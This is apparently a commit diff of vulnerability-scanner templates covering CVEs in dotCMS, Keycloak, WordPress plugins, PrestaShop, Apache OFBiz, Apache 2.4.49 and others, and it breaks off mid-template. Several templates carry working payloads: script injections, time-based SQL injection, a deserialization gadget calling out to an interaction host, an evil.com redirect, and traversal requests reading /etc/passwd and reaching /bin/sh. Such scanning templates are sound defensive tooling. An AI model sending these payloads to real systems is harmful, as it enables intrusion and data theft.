-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-9833
    cwe-id: CWE-22
@@ -1,7 +1,7 @@
 id: CVE-2018-17422

 info:
-  name: dotCMS <5.0.2 - Open Redirect
+  name: DotCMS < 5.0.2 - Open Redirect
  author: 0x_Akoko,daffainfo
  severity: medium
  description: |
@@ -16,27 +16,22 @@ info:
    cve-id: CVE-2018-17422
    cwe-id: CWE-601
  metadata:
+    verified: true
    shodan-query: http.title:"dotCMS"
-    verified: "true"
  tags: cve,cve2018,redirect,dotcms

 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/html/common/forward_js.jsp?FORWARD_URL=http://www.interact.sh'
-      - '{{BaseURL}}/html/portlet/ext/common/page_preview_popup.jsp?hostname=interact.sh'
+      - '{{BaseURL}}/html/common/forward_js.jsp?FORWARD_URL=http://evil.com'
+      - '{{BaseURL}}/html/portlet/ext/common/page_preview_popup.jsp?hostname=evil.com'

    stop-at-first-match: true
-    matchers-condition: and
    matchers:
-
      - type: word
        part: body
        words:
-          - "self.location = 'http://www.interact.sh'"
-
-      - type: status
-        status:
-          - 200
+          - "self.location = 'http://evil.com'"
+          - "location.href = 'http\\x3a\\x2f\\x2fwww\\x2eevil\\x2ecom'"

 # Enhanced by md on 2022/10/13
@@ -11,7 +11,7 @@ info:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17431
    - https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17431
    cwe-id: CWE-287
@@ -3,15 +3,15 @@ id: CVE-2018-19365
 info:
  name: Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal
  author: 0x_Akoko
-  severity: high
+  severity: critical
  description: Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.
  reference:
    - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html
    - https://www.cvedetails.com/cve/CVE-2018-19365
    - https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
+    cvss-score: 9.1
    cve-id: CVE-2018-19365
    cwe-id: CWE-22
  tags: cve,cve2018,wowza,lfi
@@ -11,7 +11,7 @@ info:
    - http://packetstormsecurity.com/files/153330/Sahi-Pro-7.x-8.x-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20470
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20470
    cwe-id: CWE-22
@@ -10,10 +10,10 @@ info:
    - https://jenkins.io/security/advisory/2019-09-25/#SECURITY-1505
    - http://www.openwall.com/lists/oss-security/2019/09/25/3
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 4.3
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
+    cvss-score: 5.4
    cve-id: CVE-2019-10405
-    cwe-id: CWE-200
+    cwe-id: CWE-79
  metadata:
    shodan-query: http.favicon.hash:81586312
  tags: cve,cve2019,jenkins
@@ -11,7 +11,7 @@ info:
    - http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14322
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-14322
    cwe-id: CWE-22
@@ -9,7 +9,7 @@ info:
    - https://www.tenable.com/security/research/tra-2019-03
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3911
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-3911
    cwe-id: CWE-79
@@ -10,7 +10,7 @@ info:
    - https://www.cvedetails.com/cve/CVE-2019-3912
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3912
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-3912
    cwe-id: CWE-601
@@ -0,0 +1,32 @@
+id: CVE-2019-6802
+
+info:
+  name: Pypiserver 1.2.5 - CRLF Injection
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    CRLF Injection in pypiserver 1.2.5 and below allows attackers to set arbitrary HTTP headers and possibly conduct XSS attacks via a %0d%0a in a URI
+  reference:
+    - https://vuldb.com/?id.130257
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-6802
+    - https://github.com/pypiserver/pypiserver/issues/237
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2019-6802
+    cwe-id: CWE-79,CWE-74
+  metadata:
+    shodan-query: html:"pypiserver"
+    verified: "true"
+  tags: cve,cve2019,crlf,generic,pypiserver
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"
+
+    matchers:
+      - type: word
+        part: header
+        words:
+          - 'Set-Cookie: crlfinjection=1;'
@@ -11,7 +11,7 @@ info:
    - https://extensions.joomla.org/extension/je-messenger/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9922
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9922
    cwe-id: CWE-22
@@ -7,18 +7,19 @@ info:
  description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
  reference:
    - https://web.archive.org/web/20210717142945/https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html
-    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md
+    - https://github.com/grafana/grafana/pull/23254
    - https://security.netapp.com/advisory/ntap-20200810-0002/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11110
+    - https://hackerone.com/reports/1329433
  remediation: This issue can be resolved by updating Grafana to the latest version.
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
    cve-id: CVE-2020-11110
    cwe-id: CWE-79
  metadata:
    shodan-query: title:"Grafana"
-  tags: cve,cve2020,xss,grafana
+  tags: cve2020,xss,grafana,hackerone,cve

 requests:
  - raw:
@@ -5,6 +5,9 @@ info:
  author: x6263
  severity: medium
  description: PRTG Network Monitor before 20.1.57.1745 allows remote unauthenticated attackers to obtain information about probes running or the server itself via an HTTP request.
+  metadata:
+    verified: true
+    shodan-query: title:"prtg"
  reference:
    - https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11547
@@ -21,7 +24,9 @@ requests:
    path:
      - "{{BaseURL}}/public/login.htm?type=probes"
      - "{{BaseURL}}/public/login.htm?type=requests"
+      - "{{BaseURL}}/public/login.htm?type=treestat"

+    stop-at-first-match: true
    req-condition: true
    matchers-condition: and
    matchers:
@@ -33,6 +38,9 @@ requests:
        part: body
        words:
          - "prtg_network_monitor"
+          - "Probes"
+          - "Groups"
+        condition: or

      - type: status
        status:
@@ -15,7 +15,7 @@ info:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14408
  metadata:
    verified: true
-  tags: cve,cve2022,cockpit,agentejo,xss,oss
+  tags: cve,cve2020,cockpit,agentejo,xss,oss

 requests:
  - method: GET
@@ -4,7 +4,8 @@ info:
  name: SaltStack <=3002 - Shell Injection
  author: dwisiswant0
  severity: critical
-  description: SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
+  description: |
+    SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
  reference:
    - https://saltproject.io/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/
    - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
@@ -24,18 +25,24 @@ requests:
    body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
    headers:
      Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+
    matchers-condition: and
    matchers:
+      - type: word
+        part: body
+        words:
+          - "An unexpected error occurred"
+
+      - type: dsl
+        dsl:
+          - regex("CherryPy\/([0-9.]+)", header) || regex("CherryPy ([0-9.]+)", body)
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
      - type: status
        status:
          - 500
-      - type: word
-        words:
-          - "application/json"
-        part: header
-      - type: word
-        words:
-          - "An unexpected error occurred"
-        part: body
-
 # Enhanced by mp on 2022/04/27
@@ -5,7 +5,7 @@ info:
  author: edoardottt
  severity: critical
  description: |
-    Sourcecodester Hotel and Lodge Management System 2.0 is vulnerable to unauthenticated SQL injection and can allow remote attackers to execute arbitrary SQL commands via the email parameter to the edit page for Customer, Room, Currency, Room Booking Details, or Tax Details.
+    Sourcecodester Hotel and Lodge Management System 2.0 contains a SQL injection vulnerability via the email parameter to the edit page for Customer, Room, Currency, Room Booking Details, or Tax Details. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://github.com/hitIer/web_test/tree/master/hotel
    - https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
@@ -35,3 +35,5 @@ requests:
          - 'status_code == 200'
          - 'contains(body, "Hotel Booking System")'
        condition: and
+
+# Enhanced by md on 2022/12/08
@@ -1,11 +1,11 @@
 id: CVE-2020-24902

 info:
-  name: Quixplorer <=2.4.1 - Cross Site Scripting
+  name: Quixplorer <=2.4.1 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
-    Quixplorer <=2.4.1 is vulnerable to reflected cross-site scripting (XSS) caused by improper validation of user supplied input. A remote attacker could exploit this vulnerability using a specially crafted URL to execute a script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials.
+    Quixplorer through 2.4.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://dl.packetstormsecurity.net/1804-exploits/quixplorer241beta-xss.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24902
@@ -44,3 +44,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/08
@@ -1,11 +1,11 @@
 id: CVE-2020-24903

 info:
-  name: Cute Editor for ASP.NET 6.4 - Cross Site Scripting
+  name: Cute Editor for ASP.NET 6.4 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
-    Cute Editor for ASP.NET 6.4 is vulnerable to reflected cross-site scripting (XSS) caused by improper validation of user supplied input. A remote attacker could exploit this vulnerability using a specially crafted URL to execute a script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials.
+    Cute Editor for ASP.NET 6.4 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://seclists.org/bugtraq/2016/Mar/104
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24903
@@ -17,7 +17,7 @@ info:
  metadata:
    shodan-query: http.component:"ASP.NET"
    verified: "true"
-  tags: cve,cve2022,cuteeditor,xss,seclists
+  tags: cve,cve2020,cuteeditor,xss,seclists

 requests:
  - method: GET
@@ -41,3 +41,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/08
@@ -1,16 +1,17 @@
 id: CVE-2020-26248

 info:
-  name: PrestaShop ProductComments < 4.2.0 - SQL Injection
+  name: PrestaShop Product Comments <4.2.0 - SQL Injection
  author: edoardottt
  severity: high
  description: |
-    In the PrestaShop module "productcomments" before version 4.2.1, an attacker can use a Blind SQL injection to retrieve data or stop the MySQL service. The problem is fixed in 4.2.1 of the module.
+    PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.
  reference:
    - https://packetstormsecurity.com/files/160539/PrestaShop-ProductComments-4.2.0-SQL-Injection.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-26248
    - https://packagist.org/packages/prestashop/productcomments
    - https://github.com/PrestaShop/productcomments/security/advisories/GHSA-5v44-7647-xfw9
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-26248
+  remediation: Fixed in 4.2.1.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
    cvss-score: 8.2
@@ -35,3 +36,5 @@ requests:
          - 'contains(content_type, "application/json")'
          - 'contains(body, "average_grade")'
        condition: and
+
+# Enhanced by md on 2022/12/08
@@ -1,16 +1,16 @@
 id: CVE-2020-29284

 info:
-  name: Multi Restaurant Table Reservation System 1.0 - SQL Injection
+  name: Sourcecodester Multi Restaurant Table Reservation System 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
-    The file view-chair-list.php in Multi Restaurant Table Reservation System 1.0 does not perform input validation on the table_id parameter which allows unauthenticated SQL Injection. An attacker can send malicious input in the GET request to /dashboard/view-chair-list.php?table_id= to trigger the vulnerability.
+    Sourcecodester Multi Restaurant Table Reservation System 1.0 contains a SQL injection vulnerability via the file view-chair-list.php. It does not perform input validation on the table_id parameter, which allows unauthenticated SQL injection. An attacker can send malicious input in the GET request to /dashboard/view-chair-list.php?table_id= to trigger the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48984
    - https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-29284
    - https://github.com/BigTiger2020/-Multi-Restaurant-Table-Reservation-System/blob/main/README.md
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-29284
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -41,3 +41,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/08
@@ -4,16 +4,17 @@ info:
  name: OpenTSDB <= 2.4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
-  description: "OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory."
+  description: OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
  reference:
    - https://github.com/OpenTSDB/opentsdb/issues/2051
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
+    - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35476
    cwe-id: CWE-78
-  tags: cve,cve2020,opentsdb,rce
+  tags: cve,cve2020,opentsdb,rce,packetstorm

 requests:
  - method: GET
@@ -0,0 +1,54 @@
+id: CVE-2021-20323
+
+info:
+  name: Keycloak < 18.0.0 - Cross Site Scripting
+  author: ndmalc
+  severity: medium
+  description: |
+    Keycloak before 18.0.0 and after 10.0.0 allows a reflected XSS on client-registrations endpoint. On POST request, when a request is submitted, the application does not sanitize unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as html. This can be performed on any realm present on the Keycloak instance. Currently, due to the bug requiring Content-Type application/json and is submitted via a POST, there is no common path to exploit that have a user impact.
+  reference:
+    - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
+    - https://bugzilla.redhat.com/show_bug.cgi?id=2013577
+    - https://access.redhat.com/security/cve/CVE-2021-20323
+    - https://github.com/ndmalc/CVE-2021-20323
+    - https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-20323
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2021-20323
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: html:"Keycloak"
+    verified: "true"
+  tags: cve,cve2021,keycloak,xss
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/auth/realms/master/clients-registrations/default"
+      - "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
+      - "{{BaseURL}}/realms/master/clients-registrations/default"
+      - "{{BaseURL}}/realms/master/clients-registrations/openid-connect"
+
+    headers:
+      Content-Type: application/json
+
+    body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 400
@@ -0,0 +1,37 @@
+id: CVE-2021-24827
+
+info:
+  name: Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
+  author: theamanrawat
+  severity: critical
+  description: |
+    The Asgaros Forum WordPress plugin before 1.15.13 does not validate and escape user input when subscribing to a topic before using it in a SQL statement, leading to an unauthenticated SQL injection issue.
+  reference:
+    - https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1
+    - https://wordpress.org/plugins/asgaros-forum/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-24827
+    - https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-24827
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve2022,wp-plugin,asgaros-forum,unauth,wpscan,cve,wordpress,wp,sqli
+
+requests:
+  - raw:
+      - |
+        @timeout: 15s
+        GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "asgarosforum")'
+        condition: and
@@ -0,0 +1,38 @@
+id: CVE-2021-25099
+
+info:
+  name: Give < 2.17.3 - Cross-Site Scripting
+  author: theamanrawat
+  severity: medium
+  description: |
+    The GiveWP WordPress plugin before 2.17.3 does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting.
+  reference:
+    - https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
+    - https://wordpress.org/plugins/give/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-25099
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2021-25099
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: give,unauth,cve2021,wordpress,wp-plugin,xss,cve,wp,wpscan
+
+requests:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "<script>alert(document.domain)</script>")'
+          - 'contains(body, "give_user_login")'
+        condition: and
@@ -0,0 +1,58 @@
+id: CVE-2021-30128
+
+info:
+  name: Apache OFBiz <17.12.07 - Arbitrary Code Execution
+  author: For3stCo1d
+  severity: critical
+  description: Apache OFBiz has unsafe deserialization prior to 17.12.07 version
+  reference:
+    - https://lists.apache.org/thread.html/rbe8439b26a71fc3b429aa793c65dcc4a6e349bc7bb5010746a74fa1d@%3Ccommits.ofbiz.apache.org%3E
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-30128
+    - https://lists.apache.org/thread.html/rb3f5cd65f3ddce9b9eb4d6ea6e2919933f0f89b15953769d11003743%40%3Cdev.ofbiz.apache.org%3E
+    - https://lists.apache.org/thread.html/rb3f5cd65f3ddce9b9eb4d6ea6e2919933f0f89b15953769d11003743@%3Cdev.ofbiz.apache.org%3E
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-30128
+    cwe-id: CWE-502
+  metadata:
+    fofa-query: app="Apache_OFBiz"
+    verified: "true"
+  tags: cve,cve2021,apache,ofbiz,deserialization,rce
+
+requests:
+  - raw:
+      - |
+        POST /webtools/control/SOAPService HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">
+          <soapenv:Header/>
+            <soapenv:Body>
+              <ser>
+                <map-Map>
+                  <map-Entry>
+                    <map-Key>
+                      <cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</cus-obj>
+                    </map-Key>
+                  <map-Value>
+                <std-String/>
+                </map-Value>
+                </map-Entry>
+              </map-Map>
+              </ser>
+            </soapenv:Body>
+        </soapenv:Envelope>
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        part: body
+        words:
+          - 'value="errorMessage"'
@@ -1,15 +1,15 @@
-id: CVE-2021-3110
-
+id: CVE-2021-3110
+
 info:
-  name: PrestaShop 1.7.7.0 SQL Injection
+  name: PrestaShop 1.7.7.0 - SQL Injection
  author: Jaimin Gondaliya
  severity: critical
  description: |
-    The store system in PrestaShop 1.7.7.0 allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter.
+    PrestaShop 1.7.7.0 contains a SQL injection vulnerability via the store system. It allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-3110
    - https://medium.com/@gondaliyajaimin797/cve-2021-3110-75a24943ca5e
    - https://www.exploit-db.com/exploits/49410
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-3110
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -18,18 +18,20 @@ info:
  metadata:
    verified: "true"
  tags: cve,cve2021,sqli,prestshop,edb
-requests:
-  - raw:
-      - |
-        @timeout: 20s
-        GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(6)))xoOt) HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'duration>=6'
-          - 'status_code == 200'
-          - 'contains(content_type, "application/json")'
-          - 'contains(body, "average_grade")'
-        condition: and
+requests:
+  - raw:
+      - |
+        @timeout: 20s
+        GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(6)))xoOt) HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type, "application/json")'
+          - 'contains(body, "average_grade")'
+        condition: and
+
+# Enhanced by md on 2022/12/08
@@ -8,6 +8,8 @@ info:
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3285
+    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
+    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
  classification:
    cve-id: CVE-2021-32853
  metadata:
@@ -1,11 +1,11 @@
 id: CVE-2021-33851

 info:
-  name: Customize Login Image < 3.5.3 - Cross-Site Scripting
+  name: WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
  author: 8authur
  severity: medium
  description: |
-    A cross-site scripting (XSS) attack can cause arbitrary code (JavaScript) to run in a user's browser and can use an application as the vehicle for the attack. The XSS payload given in the "Custom logo link" executes whenever the user opens the Settings Page of the "Customize Login Image" Plugin.
+    WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/c67753fb-9111-453e-951f-854c6ce31203
    - https://cybersecurityworks.com/zerodays/cve-2021-33851-stored-cross-site-scripting-in-wordpress-customize-login-image.html
@@ -62,3 +62,5 @@ requests:
        regex:
          - 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
        internal: true
+
+# Enhanced by md on 2022/12/08
@@ -15,7 +15,7 @@ info:
    cvss-score: 7.5
    cve-id: CVE-2021-35380
    cwe-id: CWE-22
-  tags: cve,cve2022,termtalk,lfi,unauth,lfr,edb
+  tags: cve,cve2021,termtalk,lfi,unauth,lfr,edb

 requests:
  - method: GET
@@ -4,7 +4,8 @@ info:
  name: Apache 2.4.49 - Path Traversal and Remote Code Execution
  author: daffainfo,666asd
  severity: high
-  description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
+  description: |
+    A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
  reference:
    - https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
@@ -12,14 +13,13 @@ info:
    - https://twitter.com/ptswarm/status/1445376079548624899
    - https://twitter.com/h4x0r_dz/status/1445401960371429381
    - https://github.com/blasty/CVE-2021-41773
-  remediation: Update to Apache HTTP Server 2.4.50 or later.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41773
    cwe-id: CWE-22
  metadata:
-    shodan-query: apache version:2.4.49
+    shodan-query: Apache 2.4.49
    verified: "true"
  tags: cve,cve2021,lfi,rce,apache,misconfig,traversal,kev

@@ -32,6 +32,10 @@ requests:
        GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
        Host: {{Hostname}}

+      - |
+        GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+
      - |
        POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
        Host: {{Hostname}}
@@ -42,7 +46,6 @@ requests:
    stop-at-first-match: true
    matchers-condition: or
    matchers:
-
      - type: regex
        name: LFI
        regex:
@@ -0,0 +1,45 @@
+id: CVE-2021-42887
+
+info:
+  name: TOTOLINK - Authentication Bypass
+  author: gy741
